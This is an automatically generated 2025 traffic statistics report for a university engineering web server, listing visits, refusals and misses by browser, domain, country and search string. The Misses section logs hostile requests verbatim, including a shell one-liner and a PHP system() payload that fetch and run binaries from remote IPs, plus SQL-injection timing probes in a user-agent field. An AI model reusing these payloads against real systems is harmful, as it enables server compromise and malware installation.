Web Server Statistics

Year to Date

Visits (Successful Accesses)

From 1 Jan 2025 0:02:14 to 19 Sep 2025 23:59:02

 A category is chosen using these tests applied in order:

 "Bot?",    Hit from the same host requested robots.txt. (As Web indexers do.)
 "LSU",     Host name matches Perl regular expression \.lsu\.edu$.
 "Outside", Any host name.

     All   Brwsrs  Brand     : Version Pct, ...
  60.93%   69.18%  Chrome    : 114.0x  8.7%,  131.0.x  7.6%,  134.0.x  7.5%, 
                             : 135.0.x  4.9%,  132.0.x  4.8%,  133.0.x  4.4%, 
                             : 101.0.x  3.7%,  138.0.x  3.6%,  139.0.x  3.3%, 
                             : 122.0x  3.2%,  136.0.x  3.2%.
                             : Android  8.8%,  Linux  3.4%,  Macintosh 23.3%, 
                             : Unknown  0.5%,  Windows 63.6%,  iPad   0.0%, 
                             : iPhone  0.4%,  iPod   0.0%.
   9.43%   10.71%  Safari    : 604.1x 45.8%,  605.1x 27.9%,  537.36x 19.2%, 
                             : 601.2.4 facebookexternalhit/1.1 Facebot Twitterbot/1.0  2.7%, 
                             : 10600.6.3  1.5%,  600.2.5  0.4%,  601.1x  0.3%, 
                             : 125.12x  0.0%,  533.0  0.0%,  533.2x  0.0%, 
                             : 532.2x  0.0%.
                             : Android 20.3%,  Linux  0.2%,  Macintosh 31.4%, 
                             : Unknown  0.0%,  Windows  0.7%,  iPad   2.8%, 
                             : iPhone 44.3%,  iPod   0.3%.
   9.13%   10.37%  Firefox   : 133.0 19.1%,  142.0 11.9%,  111.0 11.5%, 
                             : 131.0  5.5%,  136.0  5.1%,  137.0x  4.4%, 
                             : 134.0  3.7%,  135.0  3.4%,  139.0  3.1%, 
                             : 81.0   3.1%,  138.0  3.0%.
                             : Android  2.1%,  Linux 22.3%,  Macintosh 22.5%, 
                             : Unknown  0.1%,  Windows 53.0%.
   8.09%    9.19%  Netscape  : 5.0x  100.0%,  5.2    0.0%,  4.77   0.0%.
                             : Android  0.0%,  Unknown 99.8%,  Windows  0.0%, 
                             : iPhone  0.1%.
   2.18%           ChatGPT-User
   1.81%           meta-externalagent/1.1
   1.35%           AppleWebKit: 537.36x 76.5%,  605.1.15x 23.0%, 
                             : 606.2.3x  0.2%,  416.11 (KHTML, like Gecko)  0.0%, 
                             : 531.22.x  0.0%,  533.20.25  0.0%, 
                             : 537.73 (KHTML, like Gecko)  0.0%, 
                             : 601.1.46 (KHTML, like Gecko) Mobile/2x  0.0%, 
                             : 534  (KHTML, like Gecko) MsnBot-Media /1.0b  0.0%, 
                             : 528.16 (KHTML, like Gecko)  0.0%, 
                             : 525.18 (KHTML, like Gecko)  0.0%.
                             : Linux  0.0%,  Macintosh 10.7%,  SymbianOS  0.0%, 
                             : Unknown  0.0%,  Windows 76.3%,  iPad   0.4%, 
                             : iPhone 12.5%.
   1.15%           python-requests: 2.32.x 63.0%,  2.27.1 22.2%,  2.31.0 14.2%, 
                             : 2.26.0  0.2%,  2.28.x  0.1%,  2.25.1  0.1%.
                             : Unknown 100.0%.
   0.67%           Baiduspider/2.0
   0.59%           Python    : 3.12 aiohttp/3.x 91.8%,  3.10 aiohttp/3.x  6.0%, 
                             : 3.11 aiohttp/3.x  2.0%, 
                             : 3.13 aiohttp/3.11.14  0.1%,  3.9 aiohttp/3.x  0.1%.
                             : Unknown 100.0%.

Notes: MSIE refers to Microsoft Internet Explorer, Netscape refers to Netscape Navigator, SeaMonkey refers to SeaMonkey and to older versions (called the Mozilla Suite). Firefox refers to Mozilla Firefox and to older versions (Mozilla Firebird, Firebird™ and Phoenix). All shows the percentage of accesses using the corresponding user agent, Brwsrs only counts recognized web browsers. A version ending in x refers to multiple sub-versions.

 Visits Hosts  Possible Robot
 174648   334  googlebot.com
  50808  3848  amazonaws.com
  48169   451  msn.com
  41915   114  20.171.207
  28937    53  semrush.com
  26614   638  petalsearch.com
  19230   250  216.73.216

    Visits  Hosts  Originating Domain
     41220   2975  hwclouds-dns.com
     32984     85  20.171.207
     25436  10329  amazonaws.com
     11110   4215  googleusercontent.com
      9950   1423  cox.net
      9488   1807  sbcglobal.net
      8979    936  googlezip.net
      6966     27  207.166.160
      5796     81  57.141.4
      5394    252  47.82.11
      4440     11  4.227.36
      4196     62  kpn.net
      4013   2165  comcast.net
      3991   1046  wlan.lsu.edu
      3786     51  ece.lsu.edu

    Visits  Hosts  Originating Country or Group
    260174  87332  Unknown Origin
    108928  29821  com   - Commercial
     54834  14021  net   - Network Provider
     12831   2182  edu   - Educational
      6653   6269  br    - Brazil
      5450   1509  de    - Germany
      2620    237  pl    - Poland
      1814    799  cn    - People's Republic of China
      1570   1037  in    - India
      1483    791  ru    - Russia
       882    673  ca    - Canada
       850    286  fr    - France
       809    176  eu    - European Union
       545    385  au    - Australia
       458    186  th    - Thailand

Visits Via Search Engine
   911 www.google.com
    39 scholar.google.com
    15 www.bing.com
    15 google.com
     6 yandex.ru
     4 www.math.lsu.edu
     2 scholar.google.de
     2 yandex.com
     2 scholar.google.com.br
     1 spis.hnlat.com

 #e #s #p Visits Using Search Strings...                ...Found Page (Most Visits)
  1  1 250   291  ece /robots.txt
  1  1  1   150  https://www.ece.lsu.edu/kak/GarbhaUpanishad.pdf/kak/GarbhaUpanishad.pdf
  1  1  1    88  https://www.ece.lsu.edu/kak/MahabharataII.pdf/kak/MahabharataII.pdf
  1  1  1    23  https://www.ece.lsu.edu/kak/a3.pdf /kak/a3.pdf
  1  1  1    15  https://www.ece.lsu.edu/kak/ast.pdf /kak/ast.pdf
  3 12 11    14  林甸 /gunturk/EE7730/L9.ppt
  1  1  1    11  https://www.ece.lsu.edu/news/2011/Frank-Walk-Room-map.pdf/news/2011/Frank-Walk-Room-map.pdf
  1  1  1     9  https://www.ece.lsu.edu/kak/zoro.pdf /kak/zoro.pdf
  1  1  1     8  Tiling+of+Iteration+Spaces+for+Multicomputers./jxr/papers/conf/icpp90.PS
  1  1  1     7  https://www.ece.lsu.edu/kak/kakosu.html /kak/kakosu.html
  1  1  1     7  https://www.ece.lsu.edu/koppel/ /koppel
  1  1  1     7  https://www.ece.lsu.edu/vaidy/2120/ /vaidy/2120
  1  1  1     7  Task+Allocation+onto+a+Hypercube+by+Recursive+Mincut+Bipartitioning./jxr/papers/journal/jpdc-hyp-90.PS
  1  1  1     6  https://www.ece.lsu.edu/gp/ /gp
  1  1  1     6  https://www.ece.lsu.edu/kak/vena.pdf /kak/vena.pdf
  1  1  1     5  https://www.ece.lsu.edu/ee3755/2013f/cla.pdf/ee3755/2013f/cla.pdf
  1  1  1     5  https://www.ece.lsu.edu/kak/quotes.htm /kak/quotes.htm
  1  1  1     5  https://www.ece.lsu.edu/kak/shruti.pdf /kak/shruti.pdf
  1  1  1     5  https://www.ece.lsu.edu/kak/wonder.pdf /kak/wonder.pdf
  1  1  1     5  https://www.ece.lsu.edu/koppel/gp/ /gp

#e: Number of different search engines used, link is to the most common engine.
#s: Number of search strings the line actually reports on. For example, if the #s entry were 5 and the string shown were "Computers" the line might report on search strings "Computers", "Computer", "+Computers", "COMPUTERS", and even "-computers".
#p: Number of distinct pages that were visited, the one with the most visits from the string is shown.

Refused (Unauthorized)

From 2 Jan 2025 0:50:19 to 19 Sep 2025 23:06:38

 A category is chosen using these tests applied in order:

 "Bot?",    Hit from the same host requested robots.txt. (As Web indexers do.)
 "LSU",     Host name matches Perl regular expression \.lsu\.edu$.
 "Outside", Any host name.

     All   Brwsrs  Brand     : Version Pct, ...
  52.40%   55.23%  Chrome    : 134.0.0.0 13.3%,  122.0.x 12.0%, 
                             : 131.0.0.0 11.9%,  114.0.x 11.1%,  100.0.x  9.4%, 
                             : 132.0.x  7.0%,  121.0.0.0  6.7%,  133.0.0.0  3.0%, 
                             : 136.0.0.0  2.4%,  107.0.0.0  2.4%, 
                             : 135.0.0.0  1.8%.
                             : Android  6.7%,  Linux  3.3%,  Macintosh 21.3%, 
                             : Windows 68.5%,  iPhone  0.3%.
  19.47%   20.52%  Firefox   : 133.0 85.3%,  123.0x  4.5%,  131.0  4.0%, 
                             : 134.0  1.5%,  136.0  0.7%,  140.0  0.5%, 
                             : 128.0  0.5%,  102.0  0.2%,  139.0  0.2%, 
                             : 142.0  0.2%,  3.6.13  0.2%.
                             : Linux  6.5%,  Macintosh 86.3%,  Windows  7.2%.
  15.50%   16.33%  Netscape/5.0 AppleWebKit/537.36
   6.88%    7.25%  Safari    : 604.1x 50.7%,  605.1.1x 35.2%,  600.2.5  4.2%, 
                             : 537.36  1.4%,  532.12.3  0.7%,  6533.18.3  0.7%, 
                             : 531.1  0.7%,  534.33.4  0.7%,  531.21.2  0.7%, 
                             : 531.5.6  0.7%,  531.16.3  0.7%.
                             : Linux  1.4%,  Macintosh 40.1%,  Windows  2.8%, 
                             : iPad   4.2%,  iPhone 50.0%,  iPod   1.4%.
   3.63%           meta-externalagent/1.1
   0.77%           AppleWebKit/537.36 (KHTML, like Gecko)
   0.44%           python-requests: 2.31.0 66.7%,  2.32.3 33.3%.
                             : Unknown 100.0%.
   0.39%    0.41%  Opera     : 9.10. 12.5%,  9.56. 12.5%,  9.89. 12.5%, 
                             : 9.47. 12.5%,  8.79. 12.5%,  9.44. 12.5%, 
                             : 8.18. 12.5%,  8.98. 12.5%.
                             : Linux 25.0%,  Windows 75.0%.
   0.24%    0.26%  MSIE      : 9.0   40.0%,  6.0   20.0%,  7.0   20.0%, 
                             : 8.0   20.0%.
                             : Windows 100.0%.
   0.19%           Wget/1.25.0

Notes: MSIE refers to Microsoft Internet Explorer, Netscape refers to Netscape Navigator, SeaMonkey refers to SeaMonkey and to older versions (called the Mozilla Suite). Firefox refers to Mozilla Firefox and to older versions (Mozilla Firebird, Firebird™ and Phoenix). All shows the percentage of accesses using the corresponding user agent, Brwsrs only counts recognized web browsers. A version ending in x refers to multiple sub-versions.

     Denys  Hosts  Originating Domain
       324     27  207.166.160
       285     29  20.171.207
        50     27  57.141.4
        38     16  61.250.32
        36     32  amazonaws.com
        35     17  113.217.243
        34      1  4.227.36
        29     27  47.79.117
        24      5  66.220.29
        22      5  64.71.179

     Denys  Hosts  Originating Country or Group
      1668    876  Unknown Origin
       122    113  com   - Commercial
        83     50  net   - Network Provider
        55     11  de    - Germany
        32     32  br    - Brazil
        20      2  pl    - Poland
        14     10  in    - India
         7      3  jp    - Japan
         6      2  se    - Sweden
         5      5  edu   - Educational

 Lnks   Denys  ...From Links on Host      Most Common Linking Page and Target
   96     653  www.ece.lsu.edu             166 From → /v/s/genus_comref.pdf

 #e #s #p  Denys Using Search Strings...                ...Found Page (Most Denys)

Status Codes (Access Outcomes)
  Count Code Description
   5829 401  Unauthorized.

Misses (Target Missing, etc)

From 1 Jan 2025 0:26:55 to 19 Sep 2025 23:47:17

 A category is chosen using these tests applied in order:

 "Bot?",    Hit from the same host requested robots.txt. (As Web indexers do.)
 "LSU",     Host name matches Perl regular expression \.lsu\.edu$.
 "Outside", Any host name.

     All   Brwsrs  Brand     : Version Pct, ...
  64.64%   86.49%  Chrome    : 60.0.x 50.3%,  61.0.3163.x 11.7%,  59.0.x  5.6%, 
                             : 85.0.x  4.7%,  90.0.x  4.2%,  122.0.x  2.3%, 
                             : 91.0.44x  2.3%,  114.0.x  1.9%,  58.0.x  1.3%, 
                             : 134.0.x  0.8%,  129.0.0.0  0.7%.
                             : Android 52.0%,  Linux  2.4%,  Macintosh 13.7%, 
                             : Unknown  0.1%,  Windows 31.7%,  iPad   0.0%, 
                             : iPhone  0.1%.
   6.53%           UT-Dorkbot: 1.2   99.3%,  1.2\   0.3%,  1.2 and sleep  0.1%, 
                             : 1.2;waitfor delay '0:0:4'--  0.1%, 
                             : 1.2';waitfor delay '0:0:4'--  0.1%, 
                             : 1.2scnr_engine_sink_tracer_57d031d40f7efd696554b7da4f7afe8b  0.0%, 
                             : 1.2scnr_engine_sink_tracer_a6eec1320a29dd8d1494ab94d2c0bc2e  0.0%, 
                             : 1.2scnr_engine_sink_tracer_57d031d40f7efd696554b7da4f7afe8b_718ba2f27430d8a5a819fbc3454e11e4\  0.0%, 
                             : 1.2scnr_engine_sink_tracer_8647a57ecd36f5b95a850982a5c7f80d  0.0%, 
                             : 1.2scnr_engine_sink_tracer_7640df1e651136e4b48a0257e6907e38  0.0%, 
                             : 1.2scnr_engine_sink_tracer_9adb651ba3e793f4eb8c68e5edfcd6e2  0.0%.
                             : Unknown 100.0%.
   6.12%           python-requests: 2.27.1 95.1%,  2.32.x  3.5%,  2.25.1  0.6%, 
                             : 2.31.0  0.5%,  2.23.0  0.2%,  2.26.0  0.1%, 
                             : 2.28.1  0.1%, 
                             : 2.6.0 CPython/2.7.5 Linux/3.10.0-1160.x  0.0%, 
                             : 2.22.0  0.0%.
                             : Linux  0.0%,  Unknown 100.0%.
   3.99%           Go-http-client: 1.1   99.9%,         0.1%.
                             : Unknown 100.0%.
   3.72%    4.97%  Firefox   : 3.5.5 16.5%,  48.0x  6.4%,  111.0  5.8%, 
                             : 79.0   5.1%,  133.0  4.8%,  142.0  4.7%, 
                             : 123.0x  3.4%,  121.0  2.2%,  120.0  1.9%, 
                             : 38.0x  1.9%,  125.0  1.8%.
                             : Android  0.6%,  Linux 24.5%,  Macintosh 11.9%, 
                             : Unknown  0.3%,  Windows 62.8%.
   2.21%    2.96%  Safari    : 605.1x 37.2%,  604.1x 20.5%,  602.4.8  8.0%, 
                             : 602.1x  7.7%,  530.19x  4.8%,  537.85.1x  3.3%, 
                             : 534.30x  1.4%,  537.36  1.3%,  605.6.x  1.1%, 
                             : 605.5.x  0.9%,  605.4.x  0.9%.
                             : Android  2.4%,  Linux  0.2%,  Macintosh 60.6%, 
                             : SymbianOS  0.1%,  Unknown  1.5%,  Windows  6.5%, 
                             : iPad   4.3%,  iPhone 24.2%,  iPod   0.1%.
   2.12%    2.84%  Netscape  : 5.0x  99.9%,  4.8    0.1%,  3.01Gold  0.0%.
                             : Android  0.2%,  Linux  0.2%,  Macintosh  0.0%, 
                             : SunOS  0.0%,  Unknown 97.9%,  Windows  1.8%, 
                             : iPhone  0.0%.
   2.02%    2.71%  MSIE      : 9.0   85.3%,  10.0   6.3%,  6.0x   3.9%, 
                             : 7.0    3.8%,  8.0    0.5%,  5.0    0.1%, 
                             :        0.0%,  5.5    0.0%,  5.01   0.0%, 
                             : 11.0   0.0%,  5.13   0.0%.
                             : Linux  0.0%,  Unknown  0.1%,  Windows 99.9%.
   1.96%           Custom-AsyncHttpClient
   1.87%           l9explore/1.2.2

Notes: MSIE refers to Microsoft Internet Explorer, Netscape refers to Netscape Navigator, SeaMonkey refers to SeaMonkey and to older versions (called the Mozilla Suite). Firefox refers to Mozilla Firefox and to older versions (Mozilla Firebird, Firebird™ and Phoenix). All shows the percentage of accesses using the corresponding user agent, Brwsrs only counts recognized web browsers. A version ending in x refers to multiple sub-versions.

    Misses  Hosts  Originating Domain
     45623   1320  amazonaws.com
     21667    251  in-addr.arpa
     15682      4  45.134.225
     13360      1  159.65.133
     10131      1  193.142.147
      6185      2  134.209.158
      5364      1  165.22.247
      5204      3  185.196.220
      4024     80  20.171.207
      3925     31  cloudwaysapps.com

    Misses  Hosts  Originating Country or Group
    207063  13744  Unknown Origin
     67206   3921  com   - Commercial
     21667    251  arpa
     14500   1261  net   - Network Provider
      1734     71  au    - Australia
      1071    127  edu   - Educational
       931     64  cn    - People's Republic of China
       831    177  de    - Germany
       814    737  br    - Brazil
       751      1  gz-s-8vcpu-16gb-amd-sgp1-01

 Lnks  Misses  ...From Links on Host      Most Common Linking Page and Target
 3964   23370  www.ece.lsu.edu            1369 From → /biomems/fonts/icomoon.woff
    1     466  faculty.csu.edu.cn          All From → /gveronis/edu/gveronis
    1      63  www.facebook.com            All From → /wp-admin
   19      20  www.semanticscholar.org       2 From → /xinli/Data/LiepaSGP2003.pdf
    1      20  www.lsu.edu                 All From → /eng/ece
    1      15  faculty.lsu.edu             All From → /lpeng/wordpress
    2      15  www.technologyreview.com      9 From → /bwei/index.html
   11      11  checks.ecsypno.com            1 From → /phpBB2/viewforum.php
    1       9  users.erols.com             All From → /bwei/webpage.htm
    1       7  daimajiaoliu.com            All From → /ipl/Teaching.html%C2%A0
    1       6  www.ece.lsu.eduadmin        All From → /module
    1       4  faperta.upr.ac.id           All From → //xmlrpc.php
    1       4  www.iogp.org                All From → //xmlrpc.php
    1       4  phi.history.ucla.edu        All From → //xmlrpc.php
    1       3  www.geek-share.com          All From → /hpca-18/files/HPCA2012_Facebook_Keynote
    1       3  130.39.222.33admin          All From → /module
    1       3  interact.sh                 All From → /goform/goform_get_cmd_process
    2       2  www.passions.com.cn           1 From → /lpeng/wordpress
    1       1  surdotly.com                All From → /%5C
    1       1  fraktal.nu                  All From → /kak/bhate.pdf

 #e #s #p Misses Using Search Strings...                ...Found Page (Most Misses)
  1  1 147   167  ece /engagement/ocr-tix/accessibility/accommodations.php
  3  1  1    56  SHOW DIAGNOSTICS /query
  3  1  9    35  wordpress /wp-login.php
  1  1  5     6  joomla /administrator
  1  1  1     3  Current Methods in Medical Image Segmentation/gunturk/Topics/Segmentation-1.pdf
  1  1  1     2  167 0007 5724 /koppel/pubs/pe_wddd_pr.pdf"
  1  1  2     2  unsigned+int+to+hex /ee4720/2016/hex-string.s.html&sa=U&ved=2ahUKEwjb-vrC49_-AhWQ6CoKHRd5DqgQFnoECAEQAg&usg=AOvVaw2HaDOH649zpbh3HP6EBPlB
  1  1  2     2  wordpress admin /admin
  1  1  1     1  {} /wp-admin
  1  1  1     1  cd /tmp;rm arm7; wget http://103.163.215.73/arm7; chmod 777 *; ./arm7 tbk/device.rsp
  1  1  1     1  Content-Type: text/plain

<?php system('curl -L -k -O http://23.27.51.244/dr0p.exe && ./dr0p.exe || wget --no-check-certificate http://23.27.51.244/dr0p.exe && ./dr0p.exe');?>/cgi-bin/php-cgi.exe
  1  1  1     1  hostory of segmentation in medical images/gunturk/Topics/Segmentation-1.pdf
  1  1  1     1  https://www.ece.lsu.edu/lpeng/wordpress/?page_id=45/lpeng/wordpress/?page_id=45
  1  1  1     1  image segmentation /gunturk/Topics/Segmentation-1.pdf
  1  1  1     1  image segmentation statistical methods /gunturk/Topics/Segmentation-1.pdf
  1  1  1     1  japan tenbu /kak/VedicJapan.pdf
  1  1  1     1  Medical Image Segmentation /gunturk/Topics/Segmentation-1.pdf
  1  1  1     1  mughal period taj mahal /kak/taj.pdf
  1  1  1     1  opengl+3.2+spec /koppel/gp/refs/glspec32.core.20090803.pdf&sa=U&ved=2ahUKEwilt-m40K2AAxUjGxAIHdUbD-IQFnoECAkQAg&usg=AOvVaw3oT1mdNyj275t-qCsR3P-4
  1  1  1     1  tenbu japan /kak/VedicJapan.pdf

#e: Number of different search engines used, link is to the most common engine.
#s: Number of search strings the line actually reports on. For example, if the #s entry were 5 and the string shown were "Computers" the line might report on search strings "Computers", "Computer", "+Computers", "COMPUTERS", and even "-computers".
#p: Number of distinct pages that were missed, the one with the most misses from the string is shown.

Status Codes (Access Outcomes)
  Count Code Description
  23792 400  Syntax error in request.
 243475 403  Forbidden.
1156587 404  Not found.
    399 405  Method not allowed.
     63 408  Request timeout.
    373 416  Range not satisfiable.
      1 417  Unknown status.
   3908 500  Server error.